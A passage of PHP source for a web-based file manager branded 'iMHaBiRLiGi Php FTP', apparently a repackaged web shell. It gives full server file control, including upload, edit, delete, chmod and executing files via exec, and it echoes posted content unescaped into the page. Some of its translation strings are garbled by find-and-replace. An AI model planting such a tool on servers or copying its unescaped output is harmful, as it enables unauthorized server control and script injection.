  1027.     if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
  1028.         $path = realpath($path);
  1029.         if (@is_dir($path)) {
  1030.             return addslash($path);
  1031.         } else {
  1032.             return $path;
  1033.         }
  1034.     }
  1035.  
  1036.     $pattern  = $delim . '.' . $delim;
  1037.  
  1038.     if (@is_dir($path)) {
  1039.         $path = addslash($path);
  1040.     }
  1041.  
  1042.     while (strpos($path, $pattern) !== false) {
  1043.         $path = str_replace($pattern, $delim, $path);
  1044.     }
  1045.  
  1046.     $e = addslashes($delim);
  1047.     $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
  1048.  
  1049.     while (ereg($regex, $path)) {
  1050.         $path = ereg_replace($regex, $delim, $path);
  1051.     }
  1052.    
  1053.     return $path;
  1054.  
  1055. }
  1056.  
  1057. function human_filesize ($filesize) {
  1058.  
  1059.     $suffices = 'kMGTPE';
  1060.  
  1061.     $n = 0;
  1062.     while ($filesize >= 1000) {
  1063.         $filesize /= 1024;
  1064.         $n++;
  1065.     }
  1066.  
  1067.     $filesize = round($filesize, 3 - strpos($filesize, '.'));
  1068.  
  1069.     if (strpos($filesize, '.') !== false) {
  1070.         while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
  1071.             $filesize = substr($filesize, 0, strlen($filesize) - 1);
  1072.         }
  1073.     }
  1074.  
  1075.     $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
  1076.  
  1077.     return $filesize . " {$suffix}B";
  1078.  
  1079. }
  1080.  
  1081. function strip (&$str) {
  1082.     $str = stripslashes($str);
  1083. }
  1084.  
  1085. /* ------------------------------------------------------------------------- */
  1086.  
  1087. function listing_page ($message = null) {
  1088.     global $self, $directory, $sort, $reverse;
  1089.  
  1090.     html_header();
  1091.  
  1092.     $list = getlist($directory);
  1093.  
  1094.     if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
  1095.     if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
  1096.  
  1097.     sortlist($list, $sort, $reverse);
  1098.  
  1099.     echo '<h1 style="margin-bottom: 0">iMHaBiRLiGi Php FTP</h1>
  1100.  
  1101. <form enctype="multipart/form-data" action="' . $self . '" method="post">
  1102.  
  1103. <table id="main">
  1104. ';
  1105.  
  1106.     directory_choice();
  1107.  
  1108.     if (!empty($message)) {
  1109.         spacer();
  1110.         echo $message;
  1111.     }
  1112.  
  1113.     if (@is_writable($directory)) {
  1114.         upload_box();
  1115.         create_box();
  1116.     } else {
  1117.         spacer();
  1118.     }
  1119.  
  1120.     if ($list) {
  1121.         listing($list);
  1122.     } else {
  1123.         echo error('not_readable', $directory);
  1124.     }
  1125.  
  1126.     echo '</table>
  1127.  
  1128. </form>
  1129.  
  1130. ';
  1131.  
  1132.     html_footer();
  1133.  
  1134. }
  1135.  
  1136. function listing ($list) {
  1137.     global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
  1138.  
  1139.     echo '<tr class="listing">
  1140.     <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
  1141. ';
  1142.  
  1143.     $d = 'dir=' . urlencode($directory) . '&amp;';
  1144.  
  1145.     if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = '';
  1146.     echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";
  1147.  
  1148.     if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = '';
  1149.     echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";
  1150.  
  1151.     if (!$win) {
  1152.  
  1153.         if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = '';
  1154.         echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";
  1155.  
  1156.         if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = '';
  1157.         echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";
  1158.  
  1159.         if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = '';
  1160.         echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";
  1161.  
  1162.     }
  1163.  
  1164.     echo '  <th class="Görevler">' . word('Görevler') . '</th>
  1165. </tr>
  1166. ';
  1167.  
  1168.     for ($i = 0; $i < sizeof($list); $i++) {
  1169.         $file = $list[$i];
  1170.  
  1171.         $timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
  1172.         $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
  1173.         $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
  1174.  
  1175.         echo '<tr class="listing">
  1176.     <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
  1177.     <td class="filename" title="' . html($timestamps) . '">';
  1178.  
  1179.         if ($file['is_link']) {
  1180.  
  1181.             echo '<img src="' . $self . '?image=link" alt="link" /> ';
  1182.             echo html($file['filename']) . ' &rarr; ';
  1183.  
  1184.             $real_file = relative2absolute($file['target'], $directory);
  1185.  
  1186.             if (@is_readable($real_file)) {
  1187.                 if (@is_dir($real_file)) {
  1188.                     echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
  1189.                 } else {
  1190.                     echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
  1191.                 }
  1192.             } else {
  1193.                 echo html($file['target']);
  1194.             }
  1195.  
  1196.         } elseif ($file['is_dir']) {
  1197.  
  1198.             echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
  1199.             if ($win || $file['is_executable']) {
  1200.                 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1201.             } else {
  1202.                 echo html($file['filename']);
  1203.             }
  1204.             echo ' ]';
  1205.  
  1206.         } else {
  1207.  
  1208.             if (substr($file['filename'], 0, 1) == '.') {
  1209.                 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
  1210.             } else {
  1211.                 echo '<img src="' . $self . '?image=file" alt="file" /> ';
  1212.             }
  1213.  
  1214.             if ($file['is_file'] && $file['is_readable']) {
  1215.                echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1216.             } else {
  1217.                 echo html($file['filename']);
  1218.             }
  1219.  
  1220.         }
  1221.  
  1222.         if ($file['size'] >= 1000) {
  1223.             $human = ' title="' . human_filesize($file['size']) . '"';
  1224.         } else {
  1225.             $human = '';
  1226.         }
  1227.  
  1228.         echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
  1229.  
  1230.         if (!$win) {
  1231.  
  1232.             echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
  1233.  
  1234.             $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
  1235.             if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
  1236.             echo html(permission_octal2string($file['permission']));
  1237.             if ($l) echo '</a>';
  1238.  
  1239.             echo "</td>\n";
  1240.  
  1241.             if (array_key_exists('owner_name', $file)) {
  1242.                 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
  1243.             } else {
  1244.                 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
  1245.             }
  1246.  
  1247.             if (array_key_exists('group_name', $file)) {
  1248.                 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
  1249.             } else {
  1250.                 echo "\t<td class=\"group\">{$file['group']}</td>\n";
  1251.             }
  1252.  
  1253.         }
  1254.  
  1255.         echo '  <td class="Görevler">
  1256.         <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
  1257. ';
  1258.  
  1259.         $actions = array();
  1260.         if (function_exists('symlink')) {
  1261.             $actions[] = 'create_symlink';
  1262.         }
  1263.         if (@is_writable(dirname($file['path']))) {
  1264.             $actions[] = 'Sil';
  1265.             $actions[] = 'Degistir';
  1266.             $actions[] = 'Tasi';
  1267.         }
  1268.         if ($file['is_file'] && $file['is_readable']) {
  1269.             $actions[] = 'Kopyala';
  1270.             $actions[] = 'indir';
  1271.             if ($file['is_writable']) $actions[] = 'Düzenle';
  1272.         }
  1273.         if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
  1274.             $actions[] = 'execute';
  1275.         }
  1276.  
  1277.         if (sizeof($actions) > 0) {
  1278.  
  1279.             echo '      <select class="small" name="action' . $i . '" size="1">
  1280.         <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1281. ';
  1282.  
  1283.             foreach ($actions as $action) {
  1284.                 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1285.             }
  1286.  
  1287.             echo '      </select>
  1288.         <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
  1289. ';
  1290.  
  1291.         }
  1292.  
  1293.         echo '  </td>
  1294. </tr>
  1295. ';
  1296.  
  1297.     }
  1298.  
  1299.     echo '<tr class="listing_footer">
  1300.     <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
  1301.     <td colspan="' . ($cols - 1) . '">
  1302.         <input type="hidden" name="num" value="' . sizeof($list) . '" />
  1303.         <input type="hidden" name="focus" value="" />
  1304.         <input type="hidden" name="olddir" value="' . html($directory) . '" />
  1305. ';
  1306.  
  1307.     $actions = array();
  1308.     if (@is_writable(dirname($file['path']))) {
  1309.         $actions[] = 'Sil';
  1310.         $actions[] = 'Tasi';
  1311.     }
  1312.     $actions[] = 'Kopyala';
  1313.  
  1314.     echo '      <select class="small" name="action_all" size="1">
  1315.         <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1316. ';
  1317.  
  1318.     foreach ($actions as $action) {
  1319.         echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1320.     }
  1321.  
  1322.     echo '      </select>
  1323.         <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
  1324.     </td>
  1325. </tr>
  1326. ';
  1327.  
  1328. }
  1329.  
  1330. function directory_choice () {
  1331.     global $directory, $homedir, $cols, $self;
  1332.  
  1333.     echo '<tr>
  1334.     <td colspan="' . $cols . '" id="directory">
  1335.         <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
  1336.         <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
  1337.         <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
  1338.     </td>
  1339. </tr>
  1340. ';
  1341.  
  1342. }
  1343.  
  1344. function upload_box () {
  1345.     global $cols;
  1346.  
  1347.     echo '<tr>
  1348.     <td colspan="' . $cols . '" id="upload">
  1349.         ' . word('file') . ':
  1350.         <input type="file" name="upload" onfocus="activate(\'other\')" />
  1351.         <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
  1352.     </td>
  1353. </tr>
  1354. ';
  1355.  
  1356. }
  1357.  
  1358. function create_box () {
  1359.     global $cols;
  1360.  
  1361.     echo '<tr>
  1362.     <td colspan="' . $cols . '" id="create">
  1363.         <select name="create_type" size="1" onfocus="activate(\'create\')">
  1364.         <option value="file">' . word('file') . '</option>
  1365.         <option value="directory">' . word('directory') . '</option>
  1366.         </select>
  1367.         <input type="text" name="create_name" onfocus="activate(\'create\')" />
  1368.         <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
  1369.     </td>
  1370. </tr>
  1371. ';
  1372.  
  1373. }
  1374.  
  1375. function Düzenle ($file) {
  1376.     global $self, $directory, $Düzenlecols, $Düzenlerows, $apache, $htpasswd, $htaccess;
  1377.  
  1378.     html_header();
  1379.  
  1380.     echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
  1381.  
  1382. <form action="' . $self . '" method="post">
  1383.  
  1384. <table class="dialog">
  1385. <tr>
  1386. <td class="dialog">
  1387.  
  1388.     <textarea name="content" cols="' . $Düzenlecols . '" rows="' . $Düzenlerows . '" WRAP="off">';
  1389.  
  1390.     if (array_key_exists('content', $_POST)) {
  1391.         echo $_POST['content'];
  1392.     } else {
  1393.         $f = fopen($file, 'r');
  1394.         while (!feof($f)) {
  1395.             echo html(fread($f, 8192));
  1396.         }
  1397.         fclose($f);
  1398.     }
  1399.  
  1400.     if (!empty($_POST['user'])) {
  1401.         echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
  1402.     }
  1403.     if (!empty($_POST['basic_auth'])) {
  1404.         if ($win) {
  1405.             $authfile = str_replace('\\', '/', $directory) . $htpasswd;
  1406.         } else {
  1407.             $authfile = $directory . $htpasswd;
  1408.         }
  1409.         echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
  1410.         echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
  1411.         echo 'Require valid-user';
  1412.     }
  1413.  
  1414.     echo '</textarea>
  1415.  
  1416.     <hr />
  1417. ';
  1418.  
  1419.     if ($apache && basename($file) == $htpasswd) {
  1420.         echo '
  1421.     ' . word('user') . ': <input type="text" name="user" />
  1422.     ' . word('password') . ': <input type="password" name="password" />
  1423.     <input type="submit" value="' . word('add') . '" />
  1424.  
  1425.     <hr />
  1426. ';
  1427.  
  1428.     }
  1429.  
  1430.     if ($apache && basename($file) == $htaccess) {
  1431.         echo '
  1432.     <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
  1433.  
  1434.     <hr />
  1435. ';
  1436.  
  1437.     }
  1438.  
  1439.     echo '
  1440.     <input type="hidden" name="action" value="Düzenle" />
  1441.     <input type="hidden" name="file" value="' . html($file) . '" />
  1442.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  1443.     <input type="reset" value="' . word('reset') . '" id="red_button" />
  1444.     <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
  1445.  
  1446. </td>
  1447. </tr>
  1448. </table>
  1449.  
  1450. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  1451.  
  1452. </form>
  1453.  
  1454. ';
  1455.  
  1456.     html_footer();
  1457.  
  1458. }
  1459.  
  1460. function spacer () {
  1461.     global $cols;
  1462.  
  1463.     echo '<tr>
  1464.     <td colspan="' . $cols . '" style="height: 1em"></td>
  1465. </tr>
  1466. ';
  1467.  
  1468. }
  1469.  
  1470. function textfieldsize ($content) {
  1471.  
  1472.     $size = strlen($content) + 5;
  1473.     if ($size < 30) $size = 30;
  1474.  
  1475.     return $size;
  1476.  
  1477. }
  1478.  
  1479. function request_dump () {
  1480.  
  1481.     foreach ($_REQUEST as $key => $value) {
  1482.         echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
  1483.     }
  1484.  
  1485. }
  1486.  
  1487. /* ------------------------------------------------------------------------- */
  1488.  
  1489. function html ($string) {
  1490.     global $charset;
  1491.     return htmlentities($string, ENT_COMPAT, $charset);
  1492. }
  1493.  
  1494. function word ($word) {
  1495.     global $words, $word_charset;
  1496.     return htmlentities($words[$word], ENT_COMPAT, $word_charset);
  1497. }
  1498.  
  1499. function phrase ($phrase, $arguments) {
  1500.     global $words;
  1501.     static $search;
  1502.  
  1503.     if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
  1504.  
  1505.     for ($i = 0; $i < sizeof($arguments); $i++) {
  1506.         $arguments[$i] = nl2br(html($arguments[$i]));
  1507.     }
  1508.  
  1509.     $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
  1510.  
  1511.     return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
  1512.  
  1513. }
  1514.  
  1515. function getwords ($lang) {
  1516.     global $word_charset, $date_format;
  1517.  
  1518.     switch ($lang) {
  1519.     case 'de':
  1520.  
  1521.         $date_format = 'd.m.y H:i:s';
  1522.         $word_charset = 'ISO-8859-1';
  1523.  
  1524.         return array(
  1525. 'directory' => 'Verzeichnis',
  1526. 'file' => 'Datei',
  1527. 'filename' => 'Dateiname',
  1528.  
  1529. 'size' => 'Größe',
  1530. 'permission' => 'Rechte',
  1531. 'owner' => 'Eigner',
  1532. 'group' => 'Gruppe',
  1533. 'other' => 'Andere',
  1534. 'Görevler' => 'Funktionen',
  1535.  
  1536. 'read' => 'lesen',
  1537. 'write' => 'schreiben',
  1538. 'execute' => 'ausführen',
  1539.  
  1540. 'create_symlink' => 'Symlink erstellen',
  1541. 'Sil' => 'löschen',
  1542. 'Degistir' => 'umbenennen',
  1543. 'Tasi' => 'verschieben',
  1544. 'Kopyala' => 'kopieren',
  1545. 'Düzenle' => 'Düzenleieren',
  1546. 'indir' => 'herunterladen',
  1547. 'upload' => 'hochladen',
  1548. 'create' => 'erstellen',
  1549. 'change' => 'wechseln',
  1550. 'save' => 'speichern',
  1551. 'set' => 'setze',
  1552. 'reset' => 'zurücksetzen',
  1553. 'relative' => 'Pfad zum Ziel relativ',
  1554.  
  1555. 'yes' => 'Ja',
  1556. 'no' => 'Nein',
  1557. 'Geri' => 'zurück',
  1558. 'Yol' => 'Ziel',
  1559. 'symlink' => 'Symbolischer Link',
  1560. 'no_output' => 'keine Ausgabe',
  1561.  
  1562. 'user' => 'Benutzername',
  1563. 'password' => 'Kennwort',
  1564. 'add' => 'hinzufügen',
  1565. 'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
  1566.  
  1567. 'uploaded' => '"[%1]" wurde hochgeladen.',
  1568. 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
  1569. 'already_exists' => '"[%1]" existiert bereits.',
  1570. 'created' => '"[%1]" wurde erstellt.',
  1571. 'not_created' => '"[%1]" konnte nicht erstellt werden.',
  1572. 'really_Sil' => 'Sollen folgende Dateien wirklich gelöscht werden?',
  1573. 'Sild' => "Folgende Dateien wurden gelöscht:\n[%1]",
  1574. 'not_Sild' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
  1575. 'Degistir_file' => 'Benenne Datei um:',
  1576. 'Degistird' => '"[%1]" wurde in "[%2]" umbenannt.',
  1577. 'not_Degistird' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
  1578. 'Tasi_files' => 'Verschieben folgende Dateien:',
  1579. 'Tasid' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
  1580. 'not_Tasid' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
  1581. 'Kopyala_files' => 'Kopiere folgende Dateien:',
  1582. 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
  1583. 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
  1584. 'not_Düzenleed' => '"[%1]" kann nicht Düzenleiert werden.',
  1585. 'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
  1586. 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
  1587. 'saved' => '"[%1]" wurde gespeichert.',
  1588. 'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
  1589. 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
  1590. 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
  1591. 'permission_for' => 'Rechte für "[%1]":',
  1592. 'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
  1593. 'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
  1594. 'not_readable' => '"[%1]" kann nicht gelesen werden.'
  1595.         );
  1596.  
  1597.     case 'fr':
  1598.  
  1599.         $date_format = 'd.m.y H:i:s';
  1600.         $word_charset = 'ISO-8859-1';
  1601.  
  1602.         return array(
  1603. 'directory' => 'Répertoire',
  1604. 'file' => 'Fichier',
  1605. 'filename' => 'Nom fichier',
  1606.  
  1607. 'size' => 'Taille',
  1608. 'permission' => 'Droits',
  1609. 'owner' => 'Propriétaire',
  1610. 'group' => 'Groupe',
  1611. 'other' => 'Autres',
  1612. 'Görevler' => 'Fonctions',
  1613.  
  1614. 'read' => 'Lire',
  1615. 'write' => 'Ecrire',
  1616. 'execute' => 'Exécuter',
  1617.  
  1618. 'create_symlink' => 'Créer lien symbolique',
  1619. 'Sil' => 'Effacer',
  1620. 'Degistir' => 'Renommer',
  1621. 'Tasi' => 'Déplacer',
  1622. 'Kopyala' => 'Copier',
  1623. 'Düzenle' => 'Ouvrir',
  1624. 'indir' => 'Télécharger sur PC',
  1625. 'upload' => 'Télécharger sur serveur',
  1626. 'create' => 'Créer',
  1627. 'change' => 'Changer',
  1628. 'save' => 'Sauvegarder',
  1629. 'set' => 'Exécuter',
  1630. 'reset' => 'Réinitialiser',
  1631. 'relative' => 'Relatif',
  1632.  
  1633. 'yes' => 'Oui',
  1634. 'no' => 'Non',
  1635. 'Geri' => 'Retour',
  1636. 'Yol' => 'Yol',
  1637. 'symlink' => 'Lien symbollique',
  1638. 'no_output' => 'Pas de sortie',
  1639.  
  1640. 'user' => 'Utilisateur',
  1641. 'password' => 'Mot de passe',
  1642. 'add' => 'Ajouter',
  1643. 'add_basic_auth' => 'add basic-authentification',
  1644.  
  1645. 'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
  1646. 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
  1647. 'already_exists' => '"[%1]" existe déjà.',
  1648. 'created' => '"[%1]" a été créé.',
  1649. 'not_created' => '"[%1]" n a pas pu être créé.',
  1650. 'really_Sil' => 'Effacer le fichier?',
  1651. 'Sild' => "Ces fichiers ont été détuits:\n[%1]",
  1652. 'not_Sild' => "Ces fichiers n ont pu être détruits:\n[%1]",
  1653. 'Degistir_file' => 'Renomme fichier:',
  1654. 'Degistird' => '"[%1]" a été renommé en "[%2]".',
  1655. 'not_Degistird' => '"[%1] n a pas pu être renommé en "[%2]".',
  1656. 'Tasi_files' => 'Déplacer ces fichiers:',
  1657. 'Tasid' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
  1658. 'not_Tasid' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
  1659. 'Kopyala_files' => 'Copier ces fichiers:',
  1660. 'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
  1661. 'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
  1662. 'not_Düzenleed' => '"[%1]" ne peut être ouvert.',
  1663. 'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
  1664. 'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
  1665. 'saved' => '"[%1]" a été sauvegardé.',
  1666. 'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
  1667. 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
  1668. 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
  1669. 'permission_for' => 'Droits de "[%1]":',
  1670. 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
  1671. 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
  1672. 'not_readable' => '"[%1]" ne peut pas être ouvert.'
  1673.         );
  1674.  
  1675.     case 'it':
  1676.  
  1677.         $date_format = 'd-m-Y H:i:s';
  1678.         $word_charset = 'ISO-8859-1';
  1679.  
  1680.         return array(
  1681. 'directory' => 'Directory',
  1682. 'file' => 'File',
  1683. 'filename' => 'Nome File',
  1684.  
  1685. 'size' => 'Dimensioni',
  1686. 'permission' => 'Permessi',
  1687. 'owner' => 'Proprietario',
  1688. 'group' => 'Gruppo',
  1689. 'other' => 'Altro',
  1690. 'Görevler' => 'Funzioni',
  1691.  
  1692. 'read' => 'leggi',
  1693. 'write' => 'scrivi',
  1694. 'execute' => 'esegui',
  1695.  
  1696. 'create_symlink' => 'crea link simbolico',
  1697. 'Sil' => 'cancella',
  1698. 'Degistir' => 'rinomina',
  1699. 'Tasi' => 'sposta',
  1700. 'Kopyala' => 'copia',
  1701. 'Düzenle' => 'modifica',
  1702. 'indir' => 'indir',
  1703. 'upload' => 'upload',
  1704. 'create' => 'crea',
  1705. 'change' => 'cambia',
  1706. 'save' => 'salva',
  1707. 'set' => 'imposta',
  1708. 'reset' => 'reimposta',
  1709. 'relative' => 'Percorso relativo per la destinazione',
  1710.  
  1711. 'yes' => 'Si',
  1712. 'no' => 'No',
  1713. 'Geri' => 'indietro',
  1714. 'Yol' => 'Destinazione',
  1715. 'symlink' => 'Link simbolico',
  1716. 'no_output' => 'no output',
  1717.  
  1718. 'user' => 'User',
  1719. 'password' => 'Password',
  1720. 'add' => 'aggiungi',
  1721. 'add_basic_auth' => 'aggiungi autenticazione base',
  1722.  
  1723. 'uploaded' => '"[%1]" è stato caricato.',
  1724. 'not_uploaded' => '"[%1]" non è stato caricato.',
  1725. 'already_exists' => '"[%1]" esiste già.',
  1726. 'created' => '"[%1]" è stato creato.',
  1727. 'not_created' => '"[%1]" non è stato creato.',
  1728. 'really_Sil' => 'Cancello questi file ?',
  1729. 'Sild' => "Questi file sono stati cancellati:\n[%1]",
  1730. 'not_Sild' => "Questi file non possono essere cancellati:\n[%1]",
  1731. 'Degistir_file' => 'File rinominato:',
  1732. 'Degistird' => '"[%1]" è stato rinominato in "[%2]".',
  1733. 'not_Degistird' => '"[%1] non è stato rinominato in "[%2]".',
  1734. 'Tasi_files' => 'Sposto questi file:',
  1735. 'Tasid' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
  1736. 'not_Tasid' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
  1737. 'Kopyala_files' => 'Copio questi file',
  1738. 'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
  1739. 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
  1740. 'not_Düzenleed' => '"[%1]" non può essere modificato.',
  1741. 'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
  1742. 'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
  1743. 'saved' => '"[%1]" è stato salvato.',
  1744. 'not_saved' => '"[%1]" non è stato salvato.',
  1745. 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
  1746. 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
  1747. 'permission_for' => 'Permessi di "[%1]":',
  1748. 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
  1749. 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
  1750. 'not_readable' => '"[%1]" non può essere letto.'
  1751.         );
  1752.  
  1753.     case 'se':
  1754.  
  1755.         $date_format = 'n/j/y H:i:s';
  1756.         $word_charset = 'ISO-8859-1';
  1757.  
  1758.         return array(
  1759. 'directory' => 'Mapp',
  1760. 'file' => 'Fil',
  1761. 'filename' => 'Filnamn',
  1762.  
  1763. 'size' => 'Storlek',
  1764. 'permission' => 'Säkerhetsnivå',
  1765. 'owner' => 'Ägare',
  1766. 'group' => 'Grupp',
  1767. 'other' => 'Andra',
  1768. 'Görevler' => 'Funktioner',
  1769.  
  1770. 'read' => 'Läs',
  1771. 'write' => 'Skriv',
  1772. 'execute' => 'Utför',
  1773.  
  1774. 'create_symlink' => 'Skapa symlink',
  1775. 'Sil' => 'Radera',
  1776. 'Degistir' => 'Byt namn',
  1777. 'Tasi' => 'Flytta',
  1778. 'Kopyala' => 'Kopiera',
  1779. 'Düzenle' => 'Ändra',
  1780. 'indir' => 'Ladda ner',
  1781. 'upload' => 'Ladda upp',
  1782. 'create' => 'Skapa',
  1783. 'change' => 'Ändra',
  1784. 'save' => 'Spara',
  1785. 'set' => 'Markera',
  1786. 'reset' => 'Töm',
  1787. 'relative' => 'Relative path to target',
  1788.  
  1789. 'yes' => 'Ja',
  1790. 'no' => 'Nej',
  1791. 'Geri' => 'Tillbaks',
  1792. 'Yol' => 'Yol',
  1793. 'symlink' => 'Symlink',
  1794. 'no_output' => 'no output',
  1795.  
  1796. 'user' => 'Användare',
  1797. 'password' => 'Lösenord',
  1798. 'add' => 'Lägg till',
  1799. 'add_basic_auth' => 'add basic-authentification',
  1800.  
  1801. 'uploaded' => '"[%1]" har laddats upp.',
  1802. 'not_uploaded' => '"[%1]" kunde inte laddas upp.',
  1803. 'already_exists' => '"[%1]" finns redan.',
  1804. 'created' => '"[%1]" har skapats.',
  1805. 'not_created' => '"[%1]" kunde inte skapas.',
  1806. 'really_Sil' => 'Radera dessa filer?',
  1807. 'Sild' => "De här filerna har raderats:\n[%1]",
  1808. 'not_Sild' => "Dessa filer kunde inte raderas:\n[%1]",
  1809. 'Degistir_file' => 'Byt namn på fil:',
  1810. 'Degistird' => '"[%1]" har bytt namn till "[%2]".',
  1811. 'not_Degistird' => '"[%1] kunde inte döpas om till "[%2]".',
  1812. 'Tasi_files' => 'Flytta dessa filer:',
  1813. 'Tasid' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
  1814. 'not_Tasid' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
  1815. 'Kopyala_files' => 'Kopiera dessa filer:',
